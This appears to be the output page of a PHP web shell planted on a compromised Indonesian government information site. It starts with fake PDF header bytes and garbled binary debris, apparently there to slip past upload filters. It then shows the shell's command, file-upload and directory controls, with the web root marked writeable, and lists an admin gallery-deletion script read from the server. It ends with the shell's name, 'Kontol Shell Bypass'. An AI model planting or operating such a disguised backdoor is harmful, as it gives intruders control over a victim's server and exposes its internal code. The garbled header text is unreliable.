%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/galeri-hapus.php
<?php
/**
 * Admin: hapus Galeri Kegiatan beserta seluruh fotonya.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/upload.php';
require_central();

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    redirect('admin/galeri.php');
}
csrf_verify();

$id = (int) post_param('id');
$chk = db()->prepare('SELECT id FROM galeri WHERE id = ?');
$chk->execute([$id]);

if ($chk->fetch()) {
    // Hapus semua file foto, lalu baris galeri (baris galeri_foto ikut terhapus via ON DELETE CASCADE).
    $fst = db()->prepare('SELECT file FROM galeri_foto WHERE galeri_id = ?');
    $fst->execute([$id]);
    foreach ($fst->fetchAll(PDO::FETCH_COLUMN) as $ff) {
        delete_upload('galeri', $ff);
    }
    db()->prepare('DELETE FROM galeri WHERE id = ?')->execute([$id]);
    set_flash('success', 'Galeri kegiatan berhasil dihapus.');
} else {
    set_flash('error', 'Galeri kegiatan tidak ditemukan.');
}
redirect('admin/galeri.php');

Kontol Shell Bypass